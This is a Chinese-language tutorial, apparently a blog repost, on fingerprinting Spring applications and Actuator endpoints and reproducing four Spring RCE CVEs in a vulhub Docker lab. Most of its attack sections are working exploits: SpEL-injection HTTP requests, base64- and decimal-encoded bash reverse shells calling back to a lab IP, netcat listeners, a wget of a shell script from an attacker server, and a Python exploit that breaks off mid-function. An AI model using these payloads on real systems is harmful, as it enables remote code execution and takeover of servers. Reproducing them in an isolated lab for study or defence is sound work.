阅读用时:20min
一、什么是spring
- Spring 框架是一个功能强大的 Java 应用程序框架,旨在提供高效且可扩展的开发环境。
- 其本身也是模块化的,应用程序可以选择所需要的模块。
- 这些模块缩短应用程序的开发时间,提高了应用开发的效率例如,在Java Web开发的早期阶段,程序员需要编写大量的代码来将记录插入到数据库中。
- 但是通过使用Spring JDBC模块的 JDBCTemplate,我们可以将操作简化为几行代码,所以spring应用十分广泛,漏洞较为常见,
必须掌握
。
spring有五个非常关键的部分,分别是 Spring framework 、springboot 、spring cloud 、spring secutiry、spring mvc
,其中的spring framework 就是大家经常提到的spring,是所有spring内容最基本的底层架构,其中包含spring mvc,springboot,IOC和AOP等等。Spring mvc就是spring中的一个MVC框架,主要用来开发web应用和网络接口,但是其使用之前需要配置大量的xml文件,比较繁琐,所以出现了springboot,其内置tomcat并且内置默认的XML配置信息,从而方便了用户的使用,它们之间的关系如下。
(1)如何识别spring
1、ioc图标
2、默认报错的页面
这里milu这个文件肯定是不存在的
3、常见端点
/autoconfig 提供了一份自动配置报告,记录哪此自动配置条件通过了,哪些没通过
/contigprops 描述配置属性 (包含默认值) 如何注入 Bean
/beans 描述应用程序上下文里全部的 Bean
,以及它们的关系
/dump 获取线程活动的快照 (常见)
/env 获取全部环境属性 (常见)
/env/(name) 根据名称获取特定的环境属性值
/health 报告应用程序的健康指标,这些值由 Healthlndicator
的实现类提供 (常见)
/info 获取应用程序的定制信息,这些信息由 info
打头的属性提供
mappings 描述全部的 URI
路径,以及它们和控制器 (包含 Actuator
端点)的映射关系
/metrics 报告各种应用程序度量信息,比如内存用量和 HTTP
请求计数
/metrics/(name) 报告指定名称的应用程序度量值
/shutdown 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true
(默认为 false
)
/trace 提供基本的 HTTP
请求跟踪信息 (时间截、HTTP
头等)
1.x版本:http://ip:port/env
2.x版本:http://ip:port/actuator/env
【eg】
/actuator
/auditevents
/autoconfig
/beans
/caches
/conditions
/configprops
/docs
/dump
/env
/flyway
/health
/heapdump
/httptrace
/info
/intergrationgraph
/jolokia
/logfile
/loggers
/liquibase
/metrics
/mappings
/prometheus
/refresh
/scheduledtasks
/sessions
/shutdown
/trace
/threaddump
/actuator/auditevents
/actuator/beans
/actuator/health
/actuator/conditions
/actuator/configprops
/actuator/env
/actuator/info
/actuator/loggers
/actuator/heapdump
/actuator/threaddump
/actuator/metrics
/actuator/scheduledtasks
/actuator/httptrace
/actuator/mappings
/actuator/jolokia
/actuator/hystrix.stream
上面的常见目录可以fuzz
4、wappalyzer插件识别
5、响应标头有X-Application-Context字样
如果开发者设置如下,这个特征就会消除
management.add-application-context-header: false
6、spring路由和版本知识
【何为路由】
有些程序员会自定义 /manager 、 /management 、项目App相关名称为 spring 相关 名称为spring 根路径
Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径
Spring Boot Actuator 默认的内置路由名字,如/env ,有时也会被修改,比如/appenv
这里会涉及到后面的springboot actuator未授权访问
【版本知识】
说明:Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。
Spring Cloud 小版本号的后缀及含义:
二、漏洞列表
三、搭建漏洞环境(docker+vulhub)
我们采用vulhub
做为靶场,第一步介绍如何在kali安装docker
换阿里云源
vim /etc/apt/sources.list
将其之前的程序全部注释#
deb http://mirrors.aliyun.com/ubuntu/ bionic main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ bionic-backports main restricted universe multiverse
安装公钥
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 40976EAF437D05B5
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 3B4FE6ACC0B21F32
更新源
apt-get update
安装https协议、CA证书
apt-get install -y apt-transport-https ca-certificates
安装docker
apt install docker.io
查看是否安装成功
docker -v
systemctl start docker
docker ps -a
安装pip
apt-get install python3-pip
安装docker-compose
pip3 install docker-compose
查看docker-compose版本
docker-compose -v
安装vulhub
git clone https://github.com/vulhub/vulhub.git
这个太慢了
建议用下面这条
git clone https://gitclone.com/github.com/vulhub/vulhub
进入到vulhub目录,ls一下
启动环境
进入要联系的对应漏洞,例如CVE-2016-4977
启动环境
docker-compose build
docker-compose up -d
查看环境
docker-compose ps
访问环境
复现完以后,关闭环境
docker-compose down
四、复现漏洞
1、Spring Websocket RCE(CVE-2018-1270)
1.1 漏洞简介
说明:修改前端js源码,添加恶意RCE header(完全可控,利用简单)
影响范围如⬇️:Spring Framework 4.3 - 4.3.15Spring Framework 5.0 - 5.0.5
概述:版本范围内的Spring Frameword 允许应用程序通过 Spring-messaging模块内存中STOMP代理创建WebSocket,攻击者可以向代理发送消息,从而导致RCE
启动
漏洞指纹
访问/gs-guide-websocket
靶场如下
1.2 复现
根据指纹信息可知存在CVE-2018-1270
1.3 exp
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
【kali】
nc -lnvp 5555
执行exp
来了
2、Spring Data RCE(CVE-2018-1273)
2.1漏洞介绍
说明:Spring Data 是一个用于简化数据库访问,并支持云服务的开源框架,包含Commons、Gemfire、JPA、JDBC、MongoDB等模块。此漏洞产生于Spring Data Commons 2.0.5及以前版本中,该组件为提供共享等基础框架,适合各个子项目使用,支持跨数据库持久化。原理是在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
Spring DAta Commons 组件中存在远程代码执行漏洞,攻击者可构造包含有恶意代码的SPEL表达式,实现远程代码攻击。
影响范围如⬇️:Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)
2.2 漏洞指纹
无明显指纹,可能存在spring框架和数据库交互的地方(例如表单)
这里vulhub靶场长这样
先扫一下目录
访问users目录
2.3 exp
在表单哪里随便输点,如何抓包,改成如下
POST /users?page=&size=5 HTTP/1.1
Host: 192.168.233.131:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 50
Origin: http://192.168.233.131:8080
Connection: close
Referer: http://192.168.233.131:8080/users?page=6&size=5
Upgrade-Insecure-Requests: 1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("命令")]=&password=&repeatedPassword=
这里用一下dnslog
2.4 getshell
bash$IFS$9-i>&/dev/tcp/192.168.233.131/6666 0>&1
先对这条命令bash编码
这里有个坑, Java Runtime.exe() 执行命令与反弹shell 要进行编码,java管道符无效的原因无法反弹,而且要使用IFS内部域分隔符,对空白处进行填充,不然也是反弹不回来的:
然后拼接
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("bash -c {echo,YmFzaCRJRlMkOS1pPiYvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNjY2NjwmMSA=}|{base64 -d}|{bash -i}")]=&password=&repeatedPassword=
如果这里getshell失败,那就在自己服务器放一个shell脚本,让受害机去访问这个url
bash-i>&/dev/tcp/XXXXXX/port 0>&1
访问sh地址
wget http://工具人vps地址/reshell.sh
工具人vps上
# 开启http服务
python3 -m http.server 8080
访问shell地址(工具人vps地址)
运行shell
bash /tmp/shell.sh
3、Spring Data REST RCE(CVE-2017-8046)
3.1 漏洞介绍
Spring-data-rest服务器在处理PATCH请求时,攻击者可以构造恶意的PATCH请求并发送给spring-date-rest服务器,通过构造好的JSON数据来执行任意Java代码
影响版本:
Spring Data REST versions < 2.5.12, 2.6.7, 3.0 RC3
Spring Boot version < 2.0.0M4
Spring Data release trains < Kay-RC3
3.2 漏洞指纹
看到 json格式的返回值,说明这是一个 Restful风格的API服务器
理解什么是restful
restful是一种软件架构风格、设计风格,而不是标准,只是提供了一组设计原则和约束条件。它主要用于客户端和服务器交互类的软件。基于这个风格设计的软件可以更简洁,更有层次,更易于实现缓存等机制。restful关键是定义可表示流程元素/资源的对象。在REST中,每一个对象都是通过URL来表示的,对象用户负责将状态信息打包进每一条消息内,以便对象的处理总是无状态的。
rest原理包括
系统上的一切对象都要抽象为资源;
每个资源对应唯一的资源标识(URI);
对资源的操作不能改变资源标识(URI)本身;
所有的操作都是无状态的等等。
指纹就是网页全是json,里面有一些类
访问customers/1
3.3 poc
PATCH的值是 SpEL表达式,添加请求头为Content-Type:application/json-patch+json
,而且命令需要改为10进制编码。
PATCH /customers/1 HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json-patch+json
Content-Length: 202
[
{ "op": "replace",
"path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{98,97,115,104,32,45,99,32,123,101,99,104,111,44,89,109,70,122,97,67,65,116,97,83,65,43,74,105,65,118,90,71,86,50,76,51,82,106,99,67,56,120,79,84,73,117,77,84,89,52,76,106,69,120,77,105,52,120,78,68,107,118,78,122,99,122,77,121,65,119,80,105,89,120,125,124,123,98,97,115,101,54,52,44,45,100,125,124,123,98,97,115,104,44,45,105,125}))/lastname",
"value": "exploit"
}
]
比如ping dns地址这样写
转化为十进制的时候可以用这条命令
",".join(map(str, (map(ord,"bash -c {echo,xxx}|{base64, -d}|{bash, -i}"))))
然后bp发包就行了
getshell同理
bash -i >& /dev/tcp/192.168.233.131/7777 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}
",".join(map(str, (map(ord,"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4xMzEvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"))))
然后bp发包
4、Spring Web Flow RCE(CVE-2017-4971)
4.1 漏洞介绍
Spring Web Flow是Spring的一个子项目,主要目的是解决跨越多个请求的、用户与服务器之间的、有状态交互问题,提供了描述业务流程的抽象能力。
在其 2.4.x版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,从而造成任意命令执行。
4.2 影响范围
Spring Web Flow 2.4.0 - 2.4.4
4.3 漏洞指纹
无明显漏洞指纹,在各种提交表单的地方可以尝试
4.4 poc
靶场长这样
在订阅图书处,存在一个命令执行,直接调用了两个函数:addDefaultMappings 和 addModelBindings。其中,控制field这个值的函数是 addDefaultMappings,且未做过滤,而 addModelBindings 是直接获取的java的一个配置文件,由配置文件确定是否有 binder 节点。如果有,就无法触发代码执行。所以利用条件有两个:
①MvcViewFactoryCreator对象的useSpringBeanBinding参数需要设置为false(默认值)
②flow view 对象中设置BinderConfiguration对象为空
所以这个漏洞触发条件就是找到这个位置
标签:RCE,--,Spring,url,复现,env,spring,actuator From: https://www.cnblogs.com/o-O-oO/p/18106026